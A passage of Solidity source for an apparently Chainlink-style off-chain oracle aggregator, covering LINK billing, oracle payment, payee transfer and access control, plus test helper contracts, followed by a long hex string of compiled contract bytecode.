AccessControllerInterface oldController = s_billingAccessController; if (_billingAccessController != oldController) { s_billingAccessController = _billingAccessController; emit BillingAccessControllerSet( oldController, _billingAccessController ); } } /** * @notice sets billingAccessController * @param _billingAccessController new billingAccessController contract address * @dev only owner can call this */ function setBillingAccessController(AccessControllerInterface _billingAccessController) external onlyOwner { setBillingAccessControllerInternal(_billingAccessController); } /** * @notice gets billingAccessController * @return address of billingAccessController contract */ function billingAccessController() external view returns (AccessControllerInterface) { return s_billingAccessController; } /** * @notice withdraws an oracle's payment from the contract * @param _transmitter the transmitter address of the oracle * @dev must be called by oracle's payee address */ function withdrawPayment(address _transmitter) external { require(msg.sender == s_payees[_transmitter], "Only payee can withdraw"); payOracle(_transmitter); } /** * @notice query an oracle's payment amount * @param _transmitter the transmitter address of the oracle */ function owedPayment(address _transmitter) public view returns (uint256) { Oracle memory oracle = s_oracles[_transmitter]; if (oracle.role == Role.Unset) { return 0; } Billing memory billing = s_billing; uint256 linkWeiAmount = uint256(s_oracleObservationsCounts[oracle.index] - 1) * uint256(billing.linkGweiPerObservation) * (1 gwei); linkWeiAmount += s_gasReimbursementsLinkWei[oracle.index] - 1; return linkWeiAmount; } /** * @notice emitted when an oracle has been paid LINK * @param transmitter address from which the oracle sends reports to the transmit method * @param payee address to which the payment is sent * @param amount amount of LINK sent * @param linkToken address of the LINK token contract */ event OraclePaid( address indexed transmitter, address indexed payee, uint256 amount, LinkTokenInterface indexed linkToken ); // payOracle pays out _transmitter's balance to the corresponding payee, and zeros it out function payOracle(address _transmitter) internal { Oracle memory oracle = s_oracles[_transmitter]; uint256 linkWeiAmount = owedPayment(_transmitter); if (linkWeiAmount > 0) { address payee = s_payees[_transmitter]; // Poses no re-entrancy issues, because LINK.transfer does not yield // control flow. require(s_linkToken.transfer(payee, linkWeiAmount), "insufficient funds"); s_oracleObservationsCounts[oracle.index] = 1; // "zero" the counts. see var's docstring s_gasReimbursementsLinkWei[oracle.index] = 1; // "zero" the counts. see var's docstring emit OraclePaid(_transmitter, payee, linkWeiAmount, s_linkToken); } } // payOracles pays out all transmitters, and zeros out their balances. // // It's much more gas-efficient to do this as a single operation, to avoid // hitting storage too much. function payOracles() internal { Billing memory billing = s_billing; LinkTokenInterface linkToken = s_linkToken; uint16[maxNumOracles] memory observationsCounts = s_oracleObservationsCounts; uint256[maxNumOracles] memory gasReimbursementsLinkWei = s_gasReimbursementsLinkWei; address[] memory transmitters = s_transmitters; for (uint transmitteridx = 0; transmitteridx < transmitters.length; transmitteridx++) { uint256 reimbursementAmountLinkWei = gasReimbursementsLinkWei[transmitteridx] - 1; uint256 obsCount = observationsCounts[transmitteridx] - 1; uint256 linkWeiAmount = obsCount * uint256(billing.linkGweiPerObservation) * (1 gwei) + reimbursementAmountLinkWei; if (linkWeiAmount > 0) { address payee = s_payees[transmitters[transmitteridx]]; // Poses no re-entrancy issues, because LINK.transfer does not yield // control flow. require(linkToken.transfer(payee, linkWeiAmount), "insufficient funds"); observationsCounts[transmitteridx] = 1; // "zero" the counts. gasReimbursementsLinkWei[transmitteridx] = 1; // "zero" the counts. emit OraclePaid(transmitters[transmitteridx], payee, linkWeiAmount, linkToken); } } // "Zero" the accounting storage variables s_oracleObservationsCounts = observationsCounts; s_gasReimbursementsLinkWei = gasReimbursementsLinkWei; } function oracleRewards( bytes memory observers, uint16[maxNumOracles] memory observations ) internal pure returns (uint16[maxNumOracles] memory) { // reward each observer-participant with the observer reward for (uint obsIdx = 0; obsIdx < observers.length; obsIdx++) { uint8 observer = uint8(observers[obsIdx]); observations[observer] = saturatingAddUint16(observations[observer], 1); } return observations; } // This value needs to change if maxNumOracles is increased, or the accounting // calculations at the bottom of reimburseAndRewardOracles change. // // To recalculate it, run the profiler as described in // ../../profile/README.md, and add up the gas-usage values reported for the // lines in reimburseAndRewardOracles following the "gasLeft = gasleft()" // line. E.g., you will see output like this: // // 7 uint256 gasLeft = gasleft(); // 29 uint256 gasCostEthWei = transmitterGasCostEthWei( // 9 uint256(initialGas), // 3 gasPrice, // 3 callDataGasCost, // 3 gasLeft // . // . // . // 59 uint256 gasCostLinkWei = (gasCostEthWei * billing.microLinkPerEth)/ 1e6; // . // . // . // 5047 s_gasReimbursementsLinkWei[txOracle.index] = // 856 s_gasReimbursementsLinkWei[txOracle.index] + gasCostLinkWei + // 26 uint256(billing.linkGweiPerTransmission) * (1 gwei); // // If those were the only lines to be accounted for, you would add up // 29+9+3+3+3+59+5047+856+26=6035. uint256 internal constant accountingGasCost = 6035; // Uncomment the following declaration to compute the remaining gas cost after // above gasleft(). (This must exist in a base class to OffchainAggregator, so // it can't go in TestOffchainAggregator.) // // uint256 public gasUsedInAccounting; // Gas price at which the transmitter should be reimbursed, in ETH-gwei/gas function impliedGasPrice( uint256 txGasPrice, // ETH-gwei/gas units uint256 reasonableGasPrice, // ETH-gwei/gas units uint256 maximumGasPrice // ETH-gwei/gas units ) internal pure returns (uint256) { // Reward the transmitter for choosing an efficient gas price: if they manage // to come in lower than considered reasonable, give them half the savings. // // The following calculations are all in units of gwei/gas, i.e. 1e-9ETH/gas uint256 gasPrice = txGasPrice; if (txGasPrice < reasonableGasPrice) { // Give transmitter half the savings for coming in under the reasonable gas price gasPrice += (reasonableGasPrice - txGasPrice) / 2; } // Don't reimburse a gas price higher than maximumGasPrice return min(gasPrice, maximumGasPrice); } // gas reimbursement due the transmitter, in ETH-wei // // If this function is changed, accountingGasCost needs to change, too. See // its docstring function transmitterGasCostEthWei( uint256 initialGas, uint256 gasPrice, // ETH-gwei/gas units uint256 callDataCost, // gas units uint256 gasLeft ) internal pure returns (uint128 gasCostEthWei) { require(initialGas >= gasLeft, "gasLeft cannot exceed initialGas"); uint256 gasUsed = // gas units initialGas - gasLeft + // observed gas usage callDataCost + accountingGasCost; // estimated gas usage // gasUsed is in gas units, gasPrice is in ETH-gwei/gas units; convert to ETH-wei uint256 fullGasCostEthWei = gasUsed * gasPrice * (1 gwei); assert(fullGasCostEthWei < maxUint128); // the entire ETH supply fits in a uint128... return uint128(fullGasCostEthWei); } /** * @notice withdraw any available funds left in the contract, up to _amount, after accounting for the funds due to participants in past reports * @param _recipient address to send funds to * @param _amount maximum amount to withdraw, denominated in LINK-wei. * @dev access control provided by billingAccessController */ function withdrawFunds(address _recipient, uint256 _amount) external { require(msg.sender == owner || s_billingAccessController.hasAccess(msg.sender, msg.data), "Only owner&billingAdmin can call"); uint256 linkDue = totalLINKDue(); uint256 linkBalance = s_linkToken.balanceOf(address(this)); require(linkBalance >= linkDue, "insufficient balance"); require(s_linkToken.transfer(_recipient, min(linkBalance - linkDue, _amount)), "insufficient funds"); } // Total LINK due to participants in past reports. function totalLINKDue() internal view returns (uint256 linkDue) { // Argument for overflow safety: We do all computations in // uint256s. The inputs to linkDue are: // - the <= 31 observation rewards each of which has less than // 64 bits (32 bits for billing.linkGweiPerObservation, 32 bits // for wei/gwei conversion). Hence 69 bits are sufficient for this part. // - the <= 31 gas reimbursements, each of which consists of at most 166 // bits (see s_gasReimbursementsLinkWei docstring). Hence 171 bits are // sufficient for this part // In total, 172 bits are enough. uint16[maxNumOracles] memory observationCounts = s_oracleObservationsCounts; for (uint i = 0; i < maxNumOracles; i++) { linkDue += observationCounts[i] - 1; // Stored value is one greater than actual value } Billing memory billing = s_billing; // Convert linkGweiPerObservation to uint256, or this overflows! linkDue *= uint256(billing.linkGweiPerObservation) * (1 gwei); address[] memory transmitters = s_transmitters; uint256[maxNumOracles] memory gasReimbursementsLinkWei = s_gasReimbursementsLinkWei; for (uint i = 0; i < transmitters.length; i++) { linkDue += uint256(gasReimbursementsLinkWei[i]-1); // Stored value is one greater than actual value } } /** * @notice allows oracles to check that sufficient LINK balance is available * @return availableBalance LINK available on this contract, after accounting for outstanding obligations. can become negative */ function linkAvailableForPayment() external view returns (int256 availableBalance) { // there are at most one billion LINK, so this cast is safe int256 balance = int256(s_linkToken.balanceOf(address(this))); // according to the argument in the definition of totalLINKDue, // totalLINKDue is never greater than 2**172, so this cast is safe int256 due = int256(totalLINKDue()); // safe from overflow according to above sizes return int256(balance) - int256(due); } /** * @notice number of observations oracle is due to be reimbursed for * @param _signerOrTransmitter address used by oracle for signing or transmitting reports */ function oracleObservationCount(address _signerOrTransmitter) external view returns (uint16) { Oracle memory oracle = s_oracles[_signerOrTransmitter]; if (oracle.role == Role.Unset) { return 0; } return s_oracleObservationsCounts[oracle.index] - 1; } function reimburseAndRewardOracles( uint32 initialGas, bytes memory observers ) internal { Oracle memory txOracle = s_oracles[msg.sender]; Billing memory billing = s_billing; // Reward oracles for providing observations. Oracles are not rewarded // for providing signatures, because signing is essentially free. s_oracleObservationsCounts = oracleRewards(observers, s_oracleObservationsCounts); // Reimburse transmitter of the report for gas usage require(txOracle.role == Role.Transmitter, "sent by undesignated transmitter" ); uint256 gasPrice = impliedGasPrice( tx.gasprice / (1 gwei), // convert to ETH-gwei units billing.reasonableGasPrice, billing.maximumGasPrice ); // The following is only an upper bound, as it ignores the cheaper cost for // 0 bytes. Safe from overflow, because calldata just isn't that long. uint256 callDataGasCost = 16 * msg.data.length; // If any changes are made to subsequent calculations, accountingGasCost // needs to change, too. uint256 gasLeft = gasleft(); uint256 gasCostEthWei = transmitterGasCostEthWei( uint256(initialGas), gasPrice, callDataGasCost, gasLeft ); // microLinkPerEth is 1e-6LINK/ETH units, gasCostEthWei is 1e-18ETH units // (ETH-wei), product is 1e-24LINK-wei units, dividing by 1e6 gives // 1e-18LINK units, i.e. LINK-wei units // Safe from over/underflow, since all components are non-negative, // gasCostEthWei will always fit into uint128 and microLinkPerEth is a // uint32 (128+32 < 256!). uint256 gasCostLinkWei = (gasCostEthWei * billing.microLinkPerEth)/ 1e6; // Safe from overflow, because gasCostLinkWei < 2**160 and // billing.linkGweiPerTransmission * (1 gwei) < 2**64 and we increment // s_gasReimbursementsLinkWei[txOracle.index] at most 2**40 times. s_gasReimbursementsLinkWei[txOracle.index] = s_gasReimbursementsLinkWei[txOracle.index] + gasCostLinkWei + uint256(billing.linkGweiPerTransmission) * (1 gwei); // convert from linkGwei to linkWei // Uncomment next line to compute the remaining gas cost after above gasleft(). // See OffchainAggregatorBilling.accountingGasCost docstring for more information. // // gasUsedInAccounting = gasLeft - gasleft(); } /* * Payee management */ /** * @notice emitted when a transfer of an oracle's payee address has been initiated * @param transmitter address from which the oracle sends reports to the transmit method * @param current the payeee address for the oracle, prior to this setting * @param proposed the proposed new payee address for the oracle */ event PayeeshipTransferRequested( address indexed transmitter, address indexed current, address indexed proposed ); /** * @notice emitted when a transfer of an oracle's payee address has been completed * @param transmitter address from which the oracle sends reports to the transmit method * @param current the payeee address for the oracle, prior to this setting */ event PayeeshipTransferred( address indexed transmitter, address indexed previous, address indexed current ); /** * @notice sets the payees for transmitting addresses * @param _transmitters addresses oracles use to transmit the reports * @param _payees addresses of payees corresponding to list of transmitters * @dev must be called by owner * @dev cannot be used to change payee addresses, only to initially populate them */ function setPayees( address[] calldata _transmitters, address[] calldata _payees ) external onlyOwner() { require(_transmitters.length == _payees.length, "transmitters.size != payees.size"); for (uint i = 0; i < _transmitters.length; i++) { address transmitter = _transmitters[i]; address payee = _payees[i]; address currentPayee = s_payees[transmitter]; bool zeroedOut = currentPayee == address(0); require(zeroedOut || currentPayee == payee, "payee already set"); s_payees[transmitter] = payee; if (currentPayee != payee) { emit PayeeshipTransferred(transmitter, currentPayee, payee); } } } /** * @notice first step of payeeship transfer (safe transfer pattern) * @param _transmitter transmitter address of oracle whose payee is changing * @param _proposed new payee address * @dev can only be called by payee address */ function transferPayeeship( address _transmitter, address _proposed ) external { require(msg.sender == s_payees[_transmitter], "only current payee can update"); require(msg.sender != _proposed, "cannot transfer to self"); address previousProposed = s_proposedPayees[_transmitter]; s_proposedPayees[_transmitter] = _proposed; if (previousProposed != _proposed) { emit PayeeshipTransferRequested(_transmitter, msg.sender, _proposed); } } /** * @notice second step of payeeship transfer (safe transfer pattern) * @param _transmitter transmitter address of oracle whose payee is changing * @dev can only be called by proposed new payee address */ function acceptPayeeship( address _transmitter ) external { require(msg.sender == s_proposedPayees[_transmitter], "only proposed payees can accept"); address currentPayee = s_payees[_transmitter]; s_payees[_transmitter] = msg.sender; s_proposedPayees[_transmitter] = address(0); emit PayeeshipTransferred(_transmitter, currentPayee, msg.sender); } /* * Helper functions */ function saturatingAddUint16(uint16 _x, uint16 _y) internal pure returns (uint16) { return uint16(min(uint256(_x)+uint256(_y), maxUint16)); } function min(uint256 a, uint256 b) internal pure returns (uint256) { if (a < b) { return a; } return b; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; abstract contract TypeAndVersionInterface{ function typeAndVersion() external pure virtual returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; interface AggregatorInterface { function latestAnswer() external view returns (int256); function latestTimestamp() external view returns (uint256); function latestRound() external view returns (uint256); function getAnswer(uint256 roundId) external view returns (int256); function getTimestamp(uint256 roundId) external view returns (uint256); event AnswerUpdated(int256 indexed current, uint256 indexed roundId, uint256 updatedAt); event NewRound(uint256 indexed roundId, address indexed startedBy, uint256 startedAt); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; interface AggregatorV3Interface { function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "./Owned.sol"; import "./AccessControllerInterface.sol"; /** * @title SimpleWriteAccessController * @notice Gives access to accounts explicitly added to an access list by the * controller's owner. * @dev does not make any special permissions for externally, see * SimpleReadAccessController for that. */ contract SimpleWriteAccessController is AccessControllerInterface, Owned { bool public checkEnabled; mapping(address => bool) internal accessList; event AddedAccess(address user); event RemovedAccess(address user); event CheckAccessEnabled(); event CheckAccessDisabled(); constructor() { checkEnabled = true; } /** * @notice Returns the access of an address * @param _user The address to query */ function hasAccess( address _user, bytes memory ) public view virtual override returns (bool) { return accessList[_user] || !checkEnabled; } /** * @notice Adds an address to the access list * @param _user The address to add */ function addAccess(address _user) external onlyOwner() { addAccessInternal(_user); } function addAccessInternal(address _user) internal { if (!accessList[_user]) { accessList[_user] = true; emit AddedAccess(_user); } } /** * @notice Removes an address from the access list * @param _user The address to remove */ function removeAccess(address _user) external onlyOwner() { if (accessList[_user]) { accessList[_user] = false; emit RemovedAccess(_user); } } /** * @notice makes the access check enforced */ function enableAccessCheck() external onlyOwner() { if (!checkEnabled) { checkEnabled = true; emit CheckAccessEnabled(); } } /** * @notice makes the access check unenforced */ function disableAccessCheck() external onlyOwner() { if (checkEnabled) { checkEnabled = false; emit CheckAccessDisabled(); } } /** * @dev reverts if the caller does not have access */ modifier checkAccess() { require(hasAccess(msg.sender, msg.data), "No access"); _; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "./AccessControlledOffchainAggregator.sol"; import "./AccessControlTestHelper.sol"; contract TestOffchainAggregator is AccessControlledOffchainAggregator { function testDecodeReport( bytes memory report ) public pure returns (bytes32, bytes32, int192[] memory) { return decodeReport(report); } constructor( uint32 _maximumGasPrice, uint32 _reasonableGasPrice, uint32 _microLinkPerEth, uint32 _linkGweiPerObservation, uint32 _linkGweiPerTransmission, LinkTokenInterface _link, int192 _minAnswer, int192 _maxAnswer, AccessControllerInterface _billingAccessController, AccessControllerInterface _requesterAdminAccessController ) AccessControlledOffchainAggregator(_maximumGasPrice, _reasonableGasPrice, _microLinkPerEth, _linkGweiPerObservation, _linkGweiPerTransmission, _link, _minAnswer, _maxAnswer, _billingAccessController, _requesterAdminAccessController, 0, "TEST" ) {} function testPayee( address _transmitter ) external view returns (address) { return s_payees[_transmitter]; } function getConfigDigest() public view returns (bytes16) { return s_hotVars.latestConfigDigest; } function testSaturatingAddUint16(uint16 _x, uint16 _y) external pure returns (uint16) { return saturatingAddUint16(_x, _y); } function testImpliedGasPrice(uint256 txGasPrice, uint256 reasonableGasPrice, uint256 maximumGasPrice ) external pure returns (uint256) { return impliedGasPrice(txGasPrice, reasonableGasPrice, maximumGasPrice); } function testTransmitterGasCostEthWei(uint256 initialGas, uint256 gasPrice, uint256 callDataCost, uint256 gasLeft ) external pure returns (uint128) { return transmitterGasCostEthWei( initialGas, gasPrice, callDataCost, gasLeft ); } function testSetOracleObservationCount(address _oracle, uint16 _amount) external { s_oracleObservationsCounts[s_oracles[_oracle].index] = _amount + 1; } function testTotalLinkDue() external view returns (uint256 linkDue) { return totalLINKDue(); } function billingData() external view returns ( uint16[maxNumOracles] memory observationsCounts, uint256[maxNumOracles] memory gasReimbursements, uint32 maximumGasPrice, uint32 reasonableGasPrice, uint32 microLinkPerEth, uint32 linkGweiPerObservation, uint32 linkGweiPerTransmission ) { Billing memory b = s_billing; return (s_oracleObservationsCounts, s_gasReimbursementsLinkWei, b.maximumGasPrice, b.reasonableGasPrice, b.microLinkPerEth, b.linkGweiPerObservation, b.linkGweiPerTransmission); } function testSetGasReimbursements(address _transmitterOrSigner, uint256 _amountLinkWei) external { require(s_oracles[_transmitterOrSigner].role != Role.Unset, "address unknown"); s_gasReimbursementsLinkWei[s_oracles[_transmitterOrSigner].index] = _amountLinkWei + 1; } function testAccountingGasCost() public pure returns (uint256) { return accountingGasCost; } function testBurnLINK(uint256 amount) public { s_linkToken.transfer(address(1), amount); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.1; import "./AccessControlledOffchainAggregator.sol"; contract AccessControlTestHelper { event Dummy(); // Used to silence warning that these methods are pure function readGetRoundData(address _aggregator, uint80 _roundID) external { AccessControlledOffchainAggregator(_aggregator).getRoundData(_roundID); emit Dummy(); } function readLatestRoundData(address _aggregator) external { AccessControlledOffchainAggregator(_aggregator).latestRoundData(); emit Dummy(); } function readLatestAnswer(address _aggregator) external { AccessControlledOffchainAggregator(_aggregator).latestAnswer(); emit Dummy(); } function readLatestTimestamp(address _aggregator) external { AccessControlledOffchainAggregator(_aggregator).latestTimestamp(); emit Dummy(); } function readLatestRound(address _aggregator) external { AccessControlledOffchainAggregator(_aggregator).latestRound(); emit Dummy(); } function readGetAnswer(address _aggregator, uint256 _roundID) external { AccessControlledOffchainAggregator(_aggregator).getAnswer(_roundID); emit Dummy(); } function readGetTimestamp(address _aggregator, uint256 _roundID) external { AccessControlledOffchainAggregator(_aggregator).getTimestamp(_roundID); emit Dummy(); } function testLatestTransmissionDetails(address _aggregator) external view { OffchainAggregator(_aggregator).latestTransmissionDetails(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "./OffchainAggregator.sol"; // ExposedOffchainAggregator exposes certain internal OffchainAggregator // methods/structures so that golang code can access them, and we get // reliable type checking on their usage contract ExposedOffchainAggregator is OffchainAggregator { constructor() OffchainAggregator( 0, 0, 0, 0, 0, LinkTokenInterface(address(0)), 0, 0, AccessControllerInterface(address(0)), AccessControllerInterface(address(0)), 0, "" ) {} function exposedConfigDigestFromConfigData( address _contractAddress, uint64 _configCount, address[] calldata _signers, address[] calldata _transmitters, uint8 _threshold, uint64 _encodedConfigVersion, bytes calldata _encodedConfig ) external pure returns (bytes16) { return configDigestFromConfigData(_contractAddress, _configCount, _signers, _transmitters, _threshold, _encodedConfigVersion, _encodedConfig); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "./AggregatorValidatorInterface.sol"; contract TestValidator is AggregatorValidatorInterface { uint32 s_minGasUse; uint256 s_latestRoundId; event Validated( uint256 previousRoundId, int256 previousAnswer, uint256 currentRoundId, int256 currentAnswer, uint256 initialGas ); function validate( uint256 previousRoundId, int256 previousAnswer, uint256 currentRoundId, int256 currentAnswer ) external override returns (bool) { uint256 initialGas = gasleft(); emit Validated( previousRoundId, previousAnswer, currentRoundId, currentAnswer, initialGas ); s_latestRoundId = currentRoundId; uint256 minGasUse = s_minGasUse; while (initialGas - gasleft() < minGasUse) {} return true; } function setMinGasUse(uint32 minGasUse) external { s_minGasUse = minGasUse; } function latestRoundId() external view returns (uint256) { return s_latestRoundId; } }
0x608060405234801561001057600080fd5b506004361061030a5760003560e01c80638e0566de1161019c578063c1075329116100ee578063e76d516811610097578063f2fde38b11610071578063f2fde38b14610cb6578063fbffd2c114610cdc578063feaf968c14610d025761030a565b8063e76d516814610c4e578063eb45716314610c56578063eb5dcd6c14610c885761030a565b8063dc7f0124116100c8578063dc7f012414610b9f578063e4902f8214610ba7578063e5fe457714610be45761030a565b8063c107532914610a57578063c980753914610a83578063d09dc33914610b975761030a565b80639e3ceeab11610150578063b5ab58dc1161012a578063b5ab58dc146109d8578063b633620c146109f5578063bd82470614610a125761030a565b80639e3ceeab14610966578063a118f2491461098c578063b121e147146109b25761030a565b8063996e829811610181578063996e8298146108295780639a6fc8f5146108315780639c849b30146108a45761030a565b80638e0566de146107d257806398e5b12a146108025761030a565b80636b14daf81161026057806381411834116102095780638823da6c116101e35780638823da6c1461077e5780638ac28d5a146107a45780638da5cb5b146107ca5761030a565b806381411834146106cd57806381ff7048146107255780638205bf6a146107765761030a565b80637284e4161161023a5780637284e416146106b557806379ba5097146106bd5780638038e4a1146106c55761030a565b80636b14daf8146105bf57806370da2f671461068957806370efdf2d146106915761030a565b8063313ce567116102c257806354fd4d501161029c57806354fd4d5014610482578063585aa7de1461048a578063668a0f02146105b75761030a565b8063313ce5671461042e5780634fb174701461044c57806350d25bcd1461047a5761030a565b8063181f5a77116102f3578063181f5a771461035157806322adbc78146103ce57806329937268146103ed5761030a565b80630a7569831461030f5780630eafb25b14610319575b600080fd5b610317610d0a565b005b61033f6004803603602081101561032f57600080fd5b50356001600160a01b0316610dc8565b60408051918252519081900360200190f35b610359610f13565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561039357818101518382015260200161037b565b50505050905090810190601f1680156103c05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103d6610f33565b6040805160179290920b8252519081900360200190f35b6103f5610f57565b6040805163ffffffff96871681529486166020860152928516848401529084166060840152909216608082015290519081900360a00190f35b610436610fd4565b6040805160ff9092168252519081900360200190f35b6103176004803603604081101561046257600080fd5b506001600160a01b0381358116916020013516610ff8565b61033f6112dc565b61033f61137d565b610317600480360360a08110156104a057600080fd5b8101906020810181356401000000008111156104bb57600080fd5b8201836020820111156104cd57600080fd5b803590602001918460208302840111640100000000831117156104ef57600080fd5b91939092909160208101903564010000000081111561050d57600080fd5b82018360208201111561051f57600080fd5b8035906020019184602083028401116401000000008311171561054157600080fd5b9193909260ff8335169267ffffffffffffffff60208201351692919060608101906040013564010000000081111561057857600080fd5b82018360208201111561058a57600080fd5b803590602001918460018302840111640100000000831117156105ac57600080fd5b509092509050611382565b61033f611d5d565b610675600480360360408110156105d557600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561060057600080fd5b82018360208201111561061257600080fd5b8035906020019184600183028401116401000000008311171561063457600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550611df9945050505050565b604080519115158252519081900360200190f35b6103d6611e21565b610699611e45565b604080516001600160a01b039092168252519081900360200190f35b610359611e54565b610317611ef0565b610317611fbe565b6106d561207d565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156107115781810151838201526020016106f9565b505050509050019250505060405180910390f35b61072d6120df565b6040805163ffffffff94851681529290931660208301527fffffffffffffffffffffffffffffffff00000000000000000000000000000000168183015290519081900360600190f35b61033f612100565b6103176004803603602081101561079457600080fd5b50356001600160a01b031661219c565b610317600480360360208110156107ba57600080fd5b50356001600160a01b0316612293565b61069961230a565b6107da612319565b604080516001600160a01b03909316835263ffffffff90911660208301528051918290030190f35b61080a61235d565b6040805169ffffffffffffffffffff9092168252519081900360200190f35b6106996125b1565b61085a6004803603602081101561084757600080fd5b503569ffffffffffffffffffff166125c0565b604051808669ffffffffffffffffffff1681526020018581526020018481526020018381526020018269ffffffffffffffffffff1681526020019550505050505060405180910390f35b610317600480360360408110156108ba57600080fd5b8101906020810181356401000000008111156108d557600080fd5b8201836020820111156108e757600080fd5b8035906020019184602083028401116401000000008311171561090957600080fd5b91939092909160208101903564010000000081111561092757600080fd5b82018360208201111561093957600080fd5b8035906020019184602083028401116401000000008311171561095b57600080fd5b509092509050612675565b6103176004803603602081101561097c57600080fd5b50356001600160a01b03166128ae565b610317600480360360208110156109a257600080fd5b50356001600160a01b031661299c565b610317600480360360208110156109c857600080fd5b50356001600160a01b0316612a04565b61033f600480360360208110156109ee57600080fd5b5035612afd565b61033f60048036036020811015610a0b57600080fd5b5035612b9a565b610317600480360360a0811015610a2857600080fd5b5063ffffffff813581169160208101358216916040820135811691606081013582169160809091013516612c37565b61031760048036036040811015610a6d57600080fd5b506001600160a01b038135169060200135612d9d565b61031760048036036080811015610a9957600080fd5b810190602081018135640100000000811115610ab457600080fd5b820183602082011115610ac657600080fd5b80359060200191846001830284011164010000000083111715610ae857600080fd5b919390929091602081019035640100000000811115610b0657600080fd5b820183602082011115610b1857600080fd5b80359060200191846020830284011164010000000083111715610b3a57600080fd5b919390929091602081019035640100000000811115610b5857600080fd5b820183602082011115610b6a57600080fd5b80359060200191846020830284011164010000000083111715610b8c57600080fd5b9193509150356130c4565b61033f613fcd565b610675614077565b610bcd60048036036020811015610bbd57600080fd5b50356001600160a01b0316614080565b6040805161ffff9092168252519081900360200190f35b610bec61412d565b604080517fffffffffffffffffffffffffffffffff00000000000000000000000000000000909616865263ffffffff909416602086015260ff9092168484015260170b606084015267ffffffffffffffff166080830152519081900360a00190f35b61069961421c565b61031760048036036040811015610c6c57600080fd5b5080356001600160a01b0316906020013563ffffffff1661422b565b61031760048036036040811015610c9e57600080fd5b506001600160a01b03813581169160200135166143c0565b61031760048036036020811015610ccc57600080fd5b50356001600160a01b031661451b565b61031760048036036020811015610cf257600080fd5b50356001600160a01b03166145e3565b61085a61464b565b6000546001600160a01b03163314610d69576040805162461bcd60e51b815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b60315460ff1615610dc657603180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001690556040517f3be8a977a014527b50ae38adda80b56911c267328965c98ddc385d248f53963890600090a15b565b6001600160a01b03811660009081526028602090815260408083208151808301909252805460ff808216845285948401916101009004166002811115610e0a57fe5b6002811115610e1557fe5b9052509050600081602001516002811115610e2c57fe5b1415610e3c576000915050610f0e565b6040805160a08101825260025463ffffffff80821683526401000000008204811660208401526801000000000000000082048116938301939093526c01000000000000000000000000810483166060830181905270010000000000000000000000000000000090910490921660808201528251909160009160019060059060ff16601f8110610ec757fe5b601091828204019190066002029054906101000a900461ffff160361ffff1602633b9aca0002905060016009846000015160ff16601f8110610f0557fe5b01540301925050505b919050565b6060604051806060016040528060288152602001615cc460289139905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b6040805160a08101825260025463ffffffff808216808452640100000000830482166020850181905268010000000000000000840483169585018690526c01000000000000000000000000840483166060860181905270010000000000000000000000000000000090940490921660809094018490529490939290565b7f000000000000000000000000000000000000000000000000000000000000000881565b6000546001600160a01b03163314611057576040805162461bcd60e51b815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b6003546001600160a01b0390811690831681141561107557506112d8565b604080517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015290516001600160a01b038516916370a08231916024808301926020929190829003018186803b1580156110d457600080fd5b505afa1580156110e8573d6000803e3d6000fd5b505050506040513d60208110156110fe57600080fd5b5061110990506146fe565b6000816001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561115857600080fd5b505afa15801561116c573d6000803e3d6000fd5b505050506040513d602081101561118257600080fd5b5051604080517fa9059cbb0000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301526024820184905291519293509084169163a9059cbb916044808201926020929091908290030181600087803b1580156111f357600080fd5b505af1158015611207573d6000803e3d6000fd5b505050506040513d602081101561121d57600080fd5b5051611270576040805162461bcd60e51b815260206004820152601f60248201527f7472616e736665722072656d61696e696e672066756e6473206661696c656400604482015290519081900360640190fd5b600380547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0386811691821790925560405190918416907f4966a50c93f855342ccf6c5c0d358b85b91335b2acedc7da0932f691f351711a90600090a350505b5050565b600061131f336000368080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250611df992505050565b611370576040805162461bcd60e51b815260206004820152600960248201527f4e6f206163636573730000000000000000000000000000000000000000000000604482015290519081900360640190fd5b611378614aae565b905090565b600481565b868560ff8616601f8311156113de576040805162461bcd60e51b815260206004820152601060248201527f746f6f206d616e79207369676e65727300000000000000000000000000000000604482015290519081900360640190fd5b60008111611433576040805162461bcd60e51b815260206004820152601a60248201527f7468726573686f6c64206d75737420626520706f736974697665000000000000604482015290519081900360640190fd5b8183146114715760405162461bcd60e51b8152600401808060200182810382526024815260200180615cec6024913960400191505060405180910390fd5b8060030283116114c8576040805162461bcd60e51b815260206004820181905260248201527f6661756c74792d6f7261636c65207468726573686f6c6420746f6f2068696768604482015290519081900360640190fd5b6000546001600160a01b03163314611527576040805162461bcd60e51b815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b602954156116cb57602980547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8101916000918390811061156457fe5b6000918252602082200154602a80546001600160a01b039092169350908490811061158b57fe5b6000918252602090912001546001600160a01b031690